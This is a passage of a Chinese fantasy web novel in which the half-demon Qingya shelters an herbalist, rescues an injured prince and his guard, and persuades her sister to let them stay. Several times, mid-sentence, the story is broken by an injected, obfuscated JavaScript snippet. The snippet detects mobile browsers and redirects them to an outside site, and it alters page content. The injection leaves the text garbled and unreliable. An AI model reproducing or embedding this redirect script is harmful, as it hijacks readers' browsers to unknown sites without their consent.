那些夜晚会发光的仙草植物,有些可以帮妖补充灵力,对妖大有裨益,听说也有一部分治疗凡人伤病颇有奇效,正因如此,百姓才会对《禁药令》怨声载道,更有人违反《禁药令》偷偷采摘使用。 长山面色沉郁,避过青崖的视线,低头道:“确实不需要任何仙草。” 明显是需要但不敢用,还得声明自己作为平民百姓,绝对不敢违反《禁药令》。 “哦,我懂了,你不相信我,”青崖表示不满,“你怕我采了仙草给你用,事后又报官说你私自使用仙草吗?药是我去采的,我报官难道不会牵连我自己吗?我为什么要跟你一起受死?” “上报罪人行踪给官府,乃是大功一件。”长山低着头,说这话时不像对眼前人说当下事,反倒像回忆诉说过去事,“口供怎么编都好,官府天然更愿意相信主动报官的人,只要真的靠举报发现仙草灵药,还会奖赏举报的人。” 青崖没好气:“所以你怀疑我故意诱你去犯死罪?就为了领官府的赏钱?” 长山抬头辩解:“不,我不是这个意思,但……类似的事的确曾有发生……” “我说这里的仙草灵药可以随意使用,就是可以随意使用!”青崖霍然起身,“我救了你,你却不信任我。” 她作势气冲冲大步走出房间,长山下榻追在她身后,“姑娘莫生气,我不是不相信你……” 青崖在门口停住脚步,长山继续道:“姑娘久居此地,与世隔绝,怕是不知现在的律法有多严苛。我父母就是受此牵连而丧命,所以我不得不小心谨慎。” 她的房子在一山谷中,走出屋门,举目四顾,唯见碧蓝天空与连绵青山,风景如画,别无其他人家。就连红鸾的房子也得转个弯才能望见,的确一看就知住在这里的是一个与世隔绝的“人”。 青崖头也不回道:“你也知道此处与世隔绝,那还担心我会报官?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175874|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眨了眨眼,又道:“劫持皇子和违反《禁药令》,哪个罪名更严重?” 听到这样严重的罪名被她轻描淡写地抛出,长山又是微微一惊:“你知道这些还救我?” “是啊,所以你理应更信任我才对。” 长山略一沉吟,败下阵来,“好吧,在下确实需要几种仙草。” “这就对了嘛!”青崖欣慰地转身。 以往她带回家做客的人一看到她这里四周无人也会小心翼翼,甚至害怕,提出种种怀疑,她早就习惯,不会真的因此气恼。相比而言,长山的反应已比多数人镇定得多。 长山想了想道:“那些仙草灵药,现在都没有统一的名字,我画出来给姑娘看吧。” 青崖回到屋里在桌上摆好纸笔推给长山,长山坐在榻边伏案作画,边画边描述:“有一种仙草,形状如柳枝。叶片窄长,深绿中微微发蓝,是促进伤口愈合的良药;还有一种常年开花,花如伞状晶莹剔透……” 桌上笔墨纸砚、各色颜料俱全,长山写字作画落笔如行云流水,一看即知也是用惯了这些东西的人。 青崖不由问道:“你这样的人,为什么会和流民土匪在一起?” “我这样的人?”长山反问,“我看起来是怎样的人?” 青崖想也不想道:“好看的,我喜欢的。” 这是她靠相面得出的简单结论。她习惯凭第一眼的直觉将人分为“好看,我喜欢”与“不好看,我不喜欢”两大类,长山属于前者。 看到长山笔端凝滞,青崖顿时想起红鸾的某些教诲,发现这话含有歧义,补充道:“我喜欢和善的人,你,还有昨晚那个被流民欺负的小少年,看起来都很和善。” 长山重新落笔继续在纸上勾画,没什么意外道:“昨晚你看到了?” 青崖点头,“对了,那个小少年真的是皇子吗?你说的‘平王以为你们已经帮他解决了他弟弟陵王,所以才更急着杀人灭口’又是怎么一回事?那少年是陵王?陵王为什么会出现在这里?” 长山专注于笔端,画完一整株仙草才停笔答道:“外面那些事,知道越少越安全。我不愿把凡尘俗务带入这里来打扰姑娘,等我伤势略好,也会尽快离开,免得拖累你,所以姑娘还是不要多打听了。” 久在深山,青崖最不缺的就是耐心,听出他现在不愿多说,也就作罢。反正他还要留下养伤,等他在这里多住几日,熟悉信任她时再问也不迟。 长山很快画出三张简明植物图案,其中有两张还没画完青崖就猜到他想要的是什么,另一张她端详良久,遗憾摇头:“这种仙草我没见过,附近可能没有。” 长山道:“无妨,有其他两种也够用。” 青崖将图纸收起,拿起竹篮,“好,你安心在这里休息。不到一个时辰,我准能把这两种仙草给你采来。” 走出木屋十几步,青崖忽然转回身,“你怎么不问我的名字?” 朝阳的光辉照在她脸上,照得她笑容格外明媚。她披着霞光,边倒退边挥手,“我叫青崖,‘青面獠牙’的‘青’,‘青面獠牙’的‘牙’。” 话才说完,一个不怒自威的清冷女声在她身后响起:“你爹给你起的名字是叫你这样糟蹋的吗?” 5. 我有嘉宾5 这声音再熟悉不过。 青崖悻悻地挂出讨好笑脸,转向红鸾,“姐姐,我就是随口一说嘛……” 红鸾指着长山,面沉如水,“那这个人呢?也是随手一救?” 青崖:“嗯……这个……昨晚我睡不着觉出去散步,一不小心走远了一些,正好在林间捡到他。” 孤身冲进一群拿刀的官兵里冒险救人这种事,说出来一定会被责骂,反正已经做成,不如不说。 红鸾斥道:“不是说了叫你不要多管闲事,你又跑回去做什么?你知不知道那些人有多危险?” 青崖抓住红鸾的手腕来回摇晃,“姐姐你昨晚也看到了,他和那些可怕的人不一样。昨晚半夜突然有官兵围剿那伙流民,一个都不放过,他往外跑,正好跑到我旁边,我怎能见死不救?” 所幸红鸾没下令把人立刻赶走,而是平静地问:“只救了他?” “是啊,当时环境混乱,另外那个落难小皇……小孩子没找到。”提及皇子,青崖及时改口,力图少强调那少年的身份,减少红鸾对他的敌意。 红鸾在她眉心戳了一下,戳得她上身后仰,对她这种不听劝告的行为既无奈又习以为常。 青崖拉过红鸾给长山介绍:“这是我姐姐,她很好,也很厉害,我什么都得听她的,你要想留在这里养伤可千万不要惹恼她。” 即使在深山中,红鸾也总是一身华贵红衣,妆容精致,饰物齐全,随处一站便冷艳绝伦,仪态万千。 青崖向来喜欢姐姐的美貌,更喜欢在外人面前炫耀姐姐的美貌,欣赏别人被惊艳到的样子。以往每次留人做客,她都要万般期待地把红鸾带到那些人面前。 美如红鸾者本就罕见,这般美人出现在荒郊野岭更是兼具一份奇异之感。那些凡人男女几乎个个都在初见红鸾时被惊得合不拢嘴,继而诚惶诚恐,以为自己到了什么了不得的神秘异境,见到了梦中仙女或狐妖女鬼。 青崖为有这样的美人姐姐而自豪,也觉凡人的反应十分有趣,乐此不疲地重复这个把戏。这次也不例外,她介绍完红鸾,就兴致勃勃等待欣赏长山的惊艳表情。 长山看了一眼突然出现的红衣女子,郑重其事抱拳行礼:“在下慕长山,路过贵地遇到意外险些身亡,多亏令妹相救,感激不尽。”语气神态中,除了一派真诚感激,别无其他。 让别人吃惊了无数次,这次终于轮到青崖吃惊:能对红鸾美貌视而不见的,长山还是第一个。 红鸾倒是波澜不惊,看不出有什么特别的情绪,她不理会长山,斜睨青崖手中的竹篮,“你是准备采药去吧,还不快去?” “噢!这就去。” 经提醒,青崖想起还有正事要做,也确定了姐姐如往常一样,嘴硬心软,不会继续责备她救人。 可她一走,岂不是只剩姐姐与长山单独相处?姐姐对人向来能避则避,这次事情又与姐姐最讨厌的皇室有关,只怕要对长山不友好。但长山是劫持皇子的那伙人其中之一,是与皇室为敌的人,这么一来,敌人的敌人,是不是就算朋友了? 见她口头答应,脚步不动,红鸾凉凉道:“怎么,放心不下?怕我吃了这个人不成?” 青崖连忙摇头,递给长山一个“好自为之”的眼神,提着竹篮采药去。 姐姐不会吃人,但少不了要细细盘问长山的来历。但愿长山好运,能博得姐姐好感,允许他留在这里养伤。 *** 青崖与红鸾的隐居地,并非寻常之地,而是处于一股灵流附近。 灵流之于妖,如同河流之于人,是生命的源泉。灵流由灵气汇聚而成,肉眼看不见,妖能感觉到。几乎所有妖都生于灵流附近,因为只有灵气充裕的地方才能孕育出他们这种特殊生灵,也便于他们吸收灵气,成长修炼。 这个山谷是青崖父母选定的,父母故去后她也一直住在这里,她十七岁,就在这里住了十七年。此处有山有水,地势复杂,景色秀丽,去距离最近的凡人村落也要翻山越岭,赶路一整日才能到达。 青崖拎着竹篮,熟门熟路走在没有明显道路的山里,突然察觉到有一丝异样的灵气波动,那种波动如同水波一样在半空中震荡。 难道附近有同族? 她们住所附近的结界只能拦住普通人,拦不住妖。不过灵气波动既有可能是施术后的残留,也有可能是灵流本身的自然波动,难以分辨。 为了一探究竟,青崖顺着那丝灵气波动,走了大概一炷香的功夫,曲曲折折直到灵流中心,在强大灵流干扰下,再也捕捉不到那丝微弱波动,一路行来,一个同族也没瞧见,周围只有山石草木与她自己的脚步声。 看来不是施术后的残留痕迹,而是灵流本身的自然波动。 青崖放下心来,开始动手采药。灵流中心,仙草灵药种类繁多,长势茂盛,长山想要的那两种药几乎随处可见。 其中一种像初生柳枝一样的仙草,从地里冒出半人多高,柔软枝条无风自动,轻轻摇曳,青崖一走近,它们感受到某种特殊引力,尖端全部缓缓转向,微微摇摆着指向青崖。 她弯腰拔下一枝,那“柳枝”立刻柔软地攀爬缠绕在她的右手上,每片叶片都紧贴皮肤。这种仙草的特性就是喜欢依附在各种生灵的身上。青崖把它从右手上拔下,它又缠到她的左手上,怎么甩也甩不掉,索性任由它们缠绕,继续采摘一大把“柳枝”。直到枝叶在手上包裹成一团圆球,看不见手指,她用绳子将那团枝叶团成的球缠住,手猛地从中抽出,将绳子打了个结,得到一个“柳枝”团成的球,丢在竹篮里。 长山需要的另一种仙草就安分得多,一株如同蒲公英大小,开伞状的花,多生在山石旁边。青崖边走边采,转了个弯,前方几百步之外山坡上出现一个山洞。 那山洞由来已久,青崖还曾在里面避雨。山洞不深,里面除了石头什么也没有,但今日不同。 青崖站起身仔细嗅闻,确认自己没有闻错,一丝属于人类的气息从洞里蔓延飘出,其中夹杂着一股血腥气。 她灵力低微,与红鸾对比简直如小巫见大巫,唯五感超越凡人,据红鸾说,也超越所有红鸾见过的妖。当她能闻到味道,或听到声音,实际上距离源头还有好一段距离,至少是别人完全无法察觉的距离。 有受伤的人躲在洞里? 这可奇了,此处在结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175875|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界之内,她们的结界——也算障眼法,常人靠近只会像遇见鬼打墙一样无法穿过,山洞里的人是怎么进来的? 面对不知身份的闯入者,青崖习惯性地戴上黑色蒙面巾,放缓脚步,一步一步向着血腥气的源头,也就是洞口走近。随着距离缩短,她凭借敏锐听觉,渐渐分辨出洞里有两个人的呼吸声,两股气息都很弱,其中一个听起来是因伤病而虚弱,另一个则是有意屏住了呼吸。 有意屏息的自然是察觉到她靠近,不愿被她发现。 青崖停下脚步原地站住,思考要不要进一步探索。 对于不想被发现的人,不去打扰最好。可这两个人有些特殊,他们是怎么穿过结界到达这里的?什么身份?为什么躲在山洞里害怕被发现?难道是昨日那伙流民中的幸存者? 她心里闪过各种猜测,犹在筛选最有可能的答案,漆黑洞穴中忽然射出一柄锋利长剑。 从这一剑的速度之快不难看出剑的主人是倾尽全力要置她于死地,幸好她听音辨位,早有察觉,及时侧身一闪,躲过这剑。对方也是反应极快,一击不成立即变招,她连续躲过致命的三刺,终于看清持剑人是一个与她年龄相仿的青年男子。 那青年的身形挺拔修长,衣袍染血,皮肤黝黑,脸上沾满血污,以至于难以辨认长相,只衬得他一双眼睛锐利雪亮,整个人杀气腾腾。他一出手就发起猛烈攻击,一招一式毫不容情。 但凡与人单打独斗,无论面对多么凶悍的人,青崖都游刃有余。为了避免竹篮被砍坏弄散刚采摘的仙草,她第一次闪身时就把竹篮搁在了地上,赤手空拳去接招。 她没学过特定招式,仅凭远超常人的眼力与动作,打斗时闪避从容不说,只要她看准用掌心去推对方剑侧,就绝不会碰到剑刃。对方拼尽全力,每剑不是刺空,就是被推得偏离原本方向,也感受到了双方能力之悬殊。那人暂时收起攻势,将剑横在身前,冷声问:“是谁派你来行刺?” 两人交手时,青崖趁机往洞里快速瞟了一眼,洞里另一个呼吸微弱仰面躺倒在地的人,竟然正是她昨晚想救而没能救成的小少年。 原来小少年被劫持到了这里,一个劫匪居然好意思质问她为何行刺? 青崖冤枉道:“明明是你先对我行刺!” 持剑青年冷哼一声:“阁下的打扮与身手,一看就是刺客,我自然要先发制人!” 青崖还没来得及换下昨晚的夜行黑衣,通身劲装,短衣窄袖,脸上蒙着面巾,看起来确实不像好人。不过面对劫匪,让他以为自己“不是好人”也没什么坏处,青崖没有分辩,反而学起姐姐,做出一副盛气凌人的样子。 持剑人也坚定地拦在宽约两臂的洞口,姿势攻守兼备,方才交手展示出的身手比昨日所见的流民与官兵都要强几倍,显然自小就是习武之人。不过他肩上和胳膊上都有伤,伤口只草草包扎了一下,因流血与疼痛,显然已有几分体力不支。 小少年就在持剑人背后的山洞里,气若游丝。若错过如此良机,再拖延下去,少年可能就真的没救了。 “我要带里面那个人走,”青崖胸有成竹,甚至带着几分嚣张,“你拦不住我。” 6. 我有嘉宾6 嗖的一声,她足尖一挑,从满是枯枝残叶的地面挑起一根如小臂长的树枝握在手里向对方挥去。剑身与树枝相撞,发出一声闷响,树枝顺着剑侧滑向剑柄,末端用力压着剑身朝一个方向旋转,持剑青年的手腕也被带着旋转半圈达到极限,为了保住手腕不被扭断,他不得不松开剑柄,与此同时青崖正好摸到握剑之处,一举夺下对方的剑,绕过那人,冲向洞里。 她挥枝,夺剑,入洞,都在电光石火之间一气呵成,速度之快令那人震惊。那人眼见拦她不住,抢在她身后大喊:“雇你的人给你多少钱?我给你三倍!” 青崖动作戛然而止,险些在洞里扑倒。 “三倍?你给我钱?” 那人随后奔至,挡在小皇子前面,满脸急切道:“没错,只要你放过他,想要多少钱都可以!” 青崖终于察觉不对劲。以她有限的处世经验也知道,绑匪劫人应当向想要救人的人要钱,而不是给钱。 难道眼前这青年其实是保护小皇子的?是他把小皇子从流民手中救了出来?真把她当成要刺杀皇子的刺客所以才一露面就拼命? 青崖将计就计,闪身来到小皇子另一侧,双手握剑,剑尖对准躺在地上的小皇子胸口,直刺而下。 她与青年相对而立,中间隔着小皇子。以当前距离,那青年够不着推她,她动作迅猛,青年也来不及拉走小皇子。他大惊失色,几乎想也没想地徒手去握垂直刺下的利剑——当他手指收拢,以为双手必定要废掉时,意外地发现自己握住的不是剑,而是一截树枝。 青年惊魂未定地握着树枝,感到树枝在触到陵王身体的瞬间停住,这样精准的力度控制,若非早有预谋,绝对难以做到。 “原来你真的是保护他的?不是劫匪?”青崖惊奇道。 她虚晃一剑只为试探青年的反应,在剑刺下瞬间使了一招偷梁换柱,把剑换成树枝,否则,那青年的手指非被削断不可。一个剑客,双手被废,一身功夫也就废了。 眼见对方舍己救人,青崖心中升起一股敬意。她不得不承认,自己的相面天赋也有失灵的时候,比如当看不清对方长相,对方还满身杀气时。 青年也豁然明朗:“你不是来刺杀他的?”若真是刺客,方才只要不顾及他的双手,完全可以得手。 “我还以为你是杀人的刺客呢,”青崖扯下自己的面巾,双手托剑还给对方,指着小皇子诚恳道:“这少年我见过,昨日就想救他,可惜后来回去没有找到,只看到官兵围剿流匪,原来他被你带走了,你是谁?” “我是他的侍卫,叫裴浩。”裴浩接过剑并没有立即收起,警惕问道:“那你是谁?” “我叫青崖,是住在这山里的人,我家就在附近。”青崖将双手背在身后,表示不再进攻或防御,希望让对方放松。 “昨晚我偶然看到一伙土匪虐待这个小少年,本想救他,奈何土匪人太多,我没能救成,后来又有官兵突袭,场面混乱,我没找到他,就只救了一个药师。对啦,你赶快带他随我回去,让药师给他瞧瞧,那药师似乎医术不错,随身还带有许多药物。” 裴浩依旧处于对青崖敏捷身法的震惊当中,很难相信她只是恰好住在附近的普通人,仍是全身紧张,但听说有药师在她家,就有些动摇。他细细打量眼前女子,但觉此少女语意真诚,不像骗他,如果忽略那身可疑黑衣和方才让他惊心动魄的刺探,就容貌气质而言,甚至是个令人一看便心生好感想要亲近的少女。 青崖再次强调:“我真的不是刺客,你看,我如果真要害你们,以你的武力,完全拦不住我。” “……” 裴浩心中刚刚对少女建立起的好感坍塌了一半,显出几分挫败之色,收剑回鞘,问道:“你家在何处?家里有什么人?” “你随我走就是了,此处方圆百里之内只有我与姐姐居住,目前还有一个我救回来的药师。”青崖道,“我知道你还怀疑我,不过我刚才瞧了一眼,里面那少年如果不及时救治,随时都会死。这附近又没有其他人家,距离有医馆的城镇更是遥远,你与其带他翻山越岭让他死在半路,不如跟我回家,让暂时住在我家里的那位药师给他医治医治。” 裴浩发现这少女说话当真是口无遮拦,直来直去。他低头看向陵王,在他与少女打斗说话期间,陵王始终没有任何反应,一动不动,足见已陷入深度昏迷。他将手指轻轻按在陵王的腕脉上,果然脉象微弱,陵王脸上更是一片惨白毫无血色,乍一看如同已然闭气。 裴浩不敢耽搁,对青崖郑重抱拳,“恳请姑娘带我们去看大夫,大恩大德,我裴浩愿以命相报!” 青崖也听出小少年气息越发微不可闻,忙道:“好说好说,你快背他出来,跟我走吧。” 裴浩将陵王背在背上走出山洞,走出洞口时他小心翼翼弯着腰,生怕磕碰到背上的人。陵王的手臂从他肩上垂下,掌心被匕首刺穿造成的贯穿伤口还在渗血,浸透了包在手掌上的布条,被搬动时浑身绵柔,比昨晚的样子更加虚弱。 这回青崖看清了,少年眉心的一点红,果然是一粒小小的朱砂痣。 她捡回之前丢下的采药竹篮,在前方引路,裴浩一脚深一脚浅地跟在她身后。青崖瞄了一眼裴浩身上的伤,问:“你还好吗?能背得动他吗?”裴浩咬着牙故作轻松:“可以。” 为了减轻他的负担,青崖还是吹哨招来自己的白马,让小少年趴在马背上。 裴浩身上的血有他自己的,也有旁人溅上去的,一看就是曾经历过一场恶战,他方才保护陵王,完全是以命搏命的架势。青崖不由发问:“你保护的这位是你什么人?” 裴浩犹豫了一下道:“这是我家公子,前不久被山匪劫走,我是他的侍卫,昨晚才把他从山匪手中救出。” “哦——”青崖点头,“所以你是皇子侍卫?” 裴浩吃了一惊,停下脚步,拉住白马,“你怎知他是皇子?” “别停下。”白马与青崖颇有默契,随她口令继续前行,裴浩也下意识跟着往前走,青崖道:“昨晚我与姐姐趴在旁边想救他的时候,听见那些山匪称他是‘陵王’。你放心,我在这山里住了十几年,跟外人少有来往,他是什么身份对我来说都无所谓,我只是好奇打听一下罢了。” “原来如此,”裴浩略感抱歉道,“方才以为姑娘是歹人,多有冒犯,请姑娘见谅。我家公子现在危在旦夕,他身份特殊不便让人知晓,姑娘可否替我们保密,在人前称他‘阿远公子’即可?” 原来小皇子叫阿远。 “呃……”青崖为难地顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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作为半妖,她天生灵力弱,修炼长进缓慢,倒是莫名其妙有一些不伦不类的天赋,比如五感强,身法快,这些不像妖的能力,像凡人中武者的能力,但又远胜于凡人武者。至于辨谎言这个能力就更莫名其妙,她自己都分不清是靠灵力还是靠心神直觉实现的。 不过,有用的就是好能力,眼下正好可以派上用场。 她性情直率,并不擅长拐弯抹角。想来想去不知该怎么问,目光落在竹篮里的仙草上,灵机一动,开口道:“这附近长了一些仙草灵药,我平日常常采摘取用,似乎违反了《禁药令》,阿远公子他是皇子,会不会降罪于我?” “不会,”裴浩果断道,“就算阿远公子没有受伤,没有被你救助,他知道你取用仙草灵药也不会降罪于你。” 青崖目不转睛盯着裴浩,确定这是真话。 “为什么?《禁药令》不是朝廷推行的吗?” “朝廷推行的律令也并非人人认可,公子就曾对当前许多律令提出公开质疑,《禁药令》就是其中之一,在京城,这是天下皆知的事情。” “除了《禁药令》,他还质疑什么?” “还有……比如《徭律》《捉妖令》《连坐制》……” 裴浩一连说出好几个律令名称,但《捉妖令》这一条之后,青崖都没再听进去。 小皇子反对《捉妖令》! 太好了,仅凭这一条,这个阿远她一定要救,姐姐也一定会允许她救。 7. 虽有兄弟,不如友生1 不到一刻钟,他们一起回到青崖的屋舍。红鸾正坐在木屋前的一块石头上问话长山,长山立在一旁,显得恭而有礼。 即便不论真实年龄,红鸾外貌约凡人女子三十岁,二十出头的长山在她面前也算小辈。 听到青崖返回的动静,红鸾抬手示意长山安静,她站起身,目光越过青崖的身影,盯着青崖身后带来的两个人,脸蕴怒色。 陌生青年牵着青崖的白马,白马背上背着的,是她之前告诫青崖绝不许救的皇子,是颁发推行《捉妖令》的皇帝的儿子。 青崖把装满仙草的竹篮交给长山,上前挽住红鸾的手臂,脑袋贴在红鸾肩上,双手像给动物顺毛一样在红鸾手臂上来回抚摸,入手是质地优良的绸缎触感。 “全天下最好的姐姐,你大发慈悲救救他们好不好,你想想啊,我小时候溜到外面玩耍,也迷过路,多亏有好心人指路才找回来,还有——” 以往无论是什么事,只要她略一央求,红鸾总会答应她,希望这次也是,青崖趴到红鸾耳边悄声道:“我问过啦,小皇子反对《捉妖令》,许多观念都与皇帝不同,他们不是一样的人。” 红鸾冷冰冰审视昏迷中的陵王,她眼神过于锋利,气势过于逼人,每往前迈进一步,裴浩便忍不住拉着白马后退一步。 青崖始终贴在红鸾身侧,向裴浩道:“我与姐姐隐居在此,不愿被人发现,你要保证,出去之后无论在哪,无论对谁,都不能提及我们二人,能否做到?” 裴浩道:“只要你们愿意救他,我什么都答应,决不食言。阿远公子温厚善良,也一定不会做出任何伤害你们的事。” “他说的是真话,”青崖趴到红鸾耳边轻声道:“这个侍卫愿意豁出性命保护阿远,可见阿远平时待人不错。” “阿远?” “就是那个小皇子。” “你少来凑借口,”红鸾用胳膊肘把她推开,横了她一眼道,“我说的话你也不听,管不了你,我走了,看着这些人就心烦。” 青崖扬声追问:“你要走去哪里?” “我去附近看看还有没有其他讨厌的人,”红鸾款款离开,留给在场诸人一个红色背影,“如果有的话,我先把人赶走,免得你什么阿猫阿狗都往回捡。” 青崖嘴角上扬,心中一轻,按照惯例,姐姐不管就约等于同意。 她走到裴浩面前,道:“你先背阿远进屋吧,进门左手第一个房间。” 裴浩如蒙大赦,感激道:“多谢姑娘!”把阿远从白马背上挪到自己背上,大步走进屋去。 “你的伤势怎样了?”青崖转向长山,“可否也帮这两个人医治一下,尤其是昏迷的那个,他看起来气息微弱,伤得不轻。” 长山却没有动,低头拨弄着竹篮里的仙草枝叶。 “是仙草不够吗?”青崖问,“不够的话我可以再去采一些。” “够用,”长山道,“这么多仙草,足以救很多人的命,也足以判使用者死刑。” “我不是说了这附近的仙草灵药可以随意使用?你救了他们,他们一定也会感激你,难道还会害你?而且回来的路上我试探过,裴侍卫说,陵王本人是反对《禁药令》的。” “他是陵王的人,一言一行都要维护皇室,必定是各种律令的执行者和维护者,现下他盼望有人帮他救陵王,他说的话,怎能相信?” 青崖急得跺脚,“你这人怎么这么多疑?” 长山笑了,那笑容比她见过的任何笑容都苦涩,还带有深深讽刺意味。 “三年前我父母就是这样丧命的。他们为了救人,偷偷使用仙草,使用之前,病人再三表示他们也反对《禁药令》,恳求我父母给他们用药,事后被官府发现,病人把罪责全部推给我父母。官府判我父母死罪,反而奖赏了‘揭发’他们的病患。” “啊——怎么会这样……”青崖声音低弱下去,总算明白这药师为什么明明不过弱冠之年,却有着远超他年纪的忧愁与谨慎。 长山道:“青崖姑娘,你知道那个昏迷的人是谁吗?” 青崖道:“知道啊,是陵王。” 长山道:“对,他叫哲远,是陵王,一个皇子。我父母死于皇室朝廷的严苛律法,我舅舅和其他同伴,就在昨晚,死于另一个皇子的阴谋诡计。” 言下之意,现在让他去救一个皇子,实在是强人所难。 两人沉默相对,长山的手停留在竹篮里,一些脱落的叶片游移着贴到他的手指上。 青崖万万没想到,说服完姐姐,还有一个长山需要说服,她又不能告诉长山她有辨别真假话的特异能力,让他相信她从裴浩那里打听来的事情,比让姐姐相信还难。 “可是,昨晚你站出来保护他了。”青崖想起昨晚那个如高山松树一般的背影,当时长山为了阻止流民们折磨阿远,挨了他舅舅一鞭子,现在手背上还能看到那条鞭痕。 “是你说,他只是一个未及弱冠也未掌权的病弱皇子。” “是啊,我昨晚还是这么想的,可是一夜之间,我身边的人全部死去。我昨日劝舅舅要对陵王手下留情,可官兵杀他们的时候,丝毫没有手下留情,我……我现在不知该怎么做才是对的。” 青崖沉思片刻,道:“如果……如果你父母还在的话,他们会希望你怎么做?” “他们会希望我救人。”长山毫不怀疑道,“可就算我不救,他们也无法再来指责我,拜朝廷推行的《禁药令》所赐,他们已经因为热心救人而去世了。” 屋里传出裴浩急切呼唤阿远的声音,阿远没有任何回应。 青崖心有戚戚道:“你父母是很好的人,一定有很多被他们医治过的人怀念感激他们。至于你救不救人,那也有自己的理由,我不强迫你。” 她从长山手中取回竹篮,揪出一片仙草叶子,那片叶子立刻包裹住她的指尖,她盯着那片叶子道:“你让我采来的这两种药能治伤吧?我不知道怎么用,只好死马当作活马医,让他们把这两种仙草混在一起随便吃点下去,是死是活,全看他们自己的造化。了不起就是我这屋里多两个死人,让我难过一段日子,还要费力埋葬他们罢了。” 说完转身拎着竹篮往屋里走,却听长山在背后叹了口气,然后脚步声响起,跟了过来,他伸手取回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿远身体瘦削,胸骨肋骨根根可见,身上布满瘀青、红肿,长短不一的血色鞭痕纵横交错,肩膀与手肘关节处无一不有像被拖行摔打过的擦伤磕伤,失去表皮的血肉呈现暗红色,里面还夹杂着泥土与沙砾。 比起青崖与裴浩的反应,长山平静得甚至稍显冷漠,淡淡问道:“他多少岁?” “十五。”裴浩咬牙切齿地挤出两个字,声音里带着无法控制的颤抖。 十五岁。青崖此前还以为小少年十三左右,因为他实在过于瘦小,若以十五岁衡量,这般身量全然是发育不良的模样。 长山用手从阿远的脖颈处开始往下摸索按压,从肩至手,从前胸到腰腹,依次将阿远的胳膊或腿轻轻抬起、放下,检查每根骨头是否健全在原位。 阿远面无血色,嘴唇干裂,双目紧闭,一直无知无觉,只在长山捏到他左脚脚踝时,缩了一下腿。 这样检查过一遍后,长山在床边坐下开始诊脉,诊脉时间很长,屋里一时静悄悄,只能听到几人的呼吸声,裴浩的呼吸尤其粗重,不知是出于愤怒还是紧张,或者兼而有之,青崖安慰地拍了拍他的背。 长山诊完脉,将右手二指并拢,指尖悬停在阿远的眉心,再次凝神不动。 探眉心? 长山的这个动作让青崖微微一愣,暗吃一惊。 探眉心是妖和妖之间互相试探灵力时的方法,怎么长山也会?阿远又不是妖,探他的眉心能探出什么来? 她转头看向裴浩,发现裴浩也对长山此举一脸茫然。 8. 虽有兄弟,不如友生2 过得片刻,长山收手,主动解释道:“在眉心是诊灵脉,我自己发现的方法,若用仙草灵药治病,诊眉心灵脉更为准确。” 青崖与裴浩下意识点头,其实谁也没明白“灵脉”是什么,只当术业有专攻,这是一种特殊医术罢了。 长山将阿远手上被血浸透的布条拆开,露出掌心那个可怕的贯穿伤口,从他包袱中取出一个瓷瓶拔开木塞,把里面的褐色液体浇在伤口上,霎时屋里充满酒与药的混合气息,阿远的手被刺激得抖了一下。 冲洗罢,长山从青崖采回的柳枝样仙草上摘下一片叶子,仙草植物天生不沾染任何尘灰,也就不用清洗,他双手撑开将叶片贴在小皇子的伤口上,手心手背各贴一片。 那叶子一碰到人的肌肤,就严丝合缝地吸附在上面,不过和附在正常皮肤上的叶片不同,贴在伤口的叶片一碰到伤口立即变色,由嫩绿变成鲜红,就像吸满了血,继而变成暗红,变成暗紫,最后像融在皮肤上,成为血肉的一部分,将伤口粘合。 裴浩紧张地问:“这样伤口就能痊愈了吗?” 长山依旧不理他,裴浩不明所以,求助地望向青崖。 青崖知道长山把裴浩当作朝廷爪牙,当作和昨日那些官兵一样凶恶的人,无甚好感,所以不愿与他搭话。于是清了清嗓子,替裴浩问道:“长山先生,阿远情况怎样?这样伤口能痊愈吗?” “他情况复杂,还需继续观察,”长山一直板着脸,唯有同她说话时语气和脸色才略有缓和,道:“一般表层伤口用这种仙草叶片处理就能痊愈,但他手上的伤是贯穿伤,比较严重,还需配合服药才行。” 外用的药都比较简单,要么是叶子,要么是药粉。内服的就复杂多了,需要十几种搭配起来,有的需研磨成粉,有的需锤捣出汁,有的去花留叶,有的去叶留花,最后以谨慎测量出的比例混在一起,用水煎熬,且三个人要用三种不同药方。 青崖不得不把书桌上的画稿书册全部收起,好让长山摆放各种药物和誊写药方。她有一个平日里用来研磨颜料的石臼,也给长山借去研磨药物。 记忆里从未有过这样繁忙的一天,她的屋里也从来没有过这么多人,还个个都是伤患。 长山给阿远医治完,又给裴浩医治。裴浩肩上中过一箭,身上有两处剑伤。尽管长山一副完全不想同裴浩说话的样子,给裴浩治伤的时候依然尽心尽力,而他自己手臂上的刀伤还是青崖提醒他,他才想起来处理,拜托青崖帮他贴上了那种帮助伤口愈合的仙草叶片。 